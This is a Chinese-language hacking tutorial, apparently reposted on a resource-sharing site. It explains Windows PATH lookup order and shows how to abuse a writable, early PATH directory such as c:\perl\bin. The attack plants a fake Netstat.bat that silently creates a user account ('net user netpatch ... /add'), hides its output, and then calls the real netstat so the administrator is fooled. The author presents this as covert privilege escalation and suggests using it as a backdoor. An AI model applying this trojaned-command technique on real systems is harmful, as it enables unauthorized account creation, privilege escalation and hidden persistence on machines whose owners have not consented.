环境变量在Hacking中的应用
首先,我们先了解下什么叫环境变量!
环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如
查看系统当前的环境变量,可以使用SET命令查看!
下面是执行SET命令后反馈的信息
ALLUSERSPROFILE=C:\\Documents and Settings\\All Users
APPDATA=C:\\Documents and Settings\\Administrator\\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\\Program Files\\Common Files
COMPUTERNAME=145F63CA0A6F46D
ComSpec=C:\\WINDOWS\\system32\\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\\Documents and Settings\\Administrator
LOGONSERVER=\\\\145F63CA0A6F46D
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=D:\\Progra~1\\Borland\\Delphi7\\Bin;D:\\Progra~1\\Borland\\Delphi7\\Projects\\Bpl\\;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:\\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\\WINDOWS
TEMP=C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp
TMP=C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp
USERDOMAIN=145F63CA0A6F46D
USERNAME=Administrator
USERPROFILE=C:\\Documents and Settings\\Administrator
windir=C:\\WINDOWS
======================================================================
我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!——Hacking中也提供了不少方便,不是么?
其实这就是 Path 变量所起的作用了!
如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。
也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!
1.
当前目录下的可执行文件!
2.
依次查找Path变量中的所指定的目录!
OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。
我们知道PERL安装后会在变量Path内容的最前面加入c:\\perl\\bin //目录依安装而定
而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。
下面我举个利用的例子!
//是否可利用,取决于Path变量的位置以及该目录是否可写
//环境变量一定要在系统自带环境变量之前。
假设条件如下:
目标安装了PERL,且目录为c:\\perl\\bin
//目录可写
系统环境变量中的Path变量内容如下
Path=c:\\perl\\bin\\;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem
我们可以在该目录下创建如下文件
Netstat.cmd
or
Netstat.bat //常用系统命令亦可,请自己举一反三!THX~
文件内容如下
@net user netpatch nspcn.org /add>nul
Rem 命令一定要记得加 @ 结尾加
>nul
Rem @是为了隐藏命令本身
Rem >nul 是为了隐藏命令执行完后的结果反馈!
@%systemroot%\\system32\\netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用
当管理员执行命令时,由于Path变量中c:\\perl\\bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:\\Documents and Settings\\Administrator\\” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:\\perl\\bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..
此乃三十六计中的暗渡陈仓也….
提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~
为啥不可呢,有Idea就得试…没测试哪来的正果呢?
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 环境变量在Hacking中的应用
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html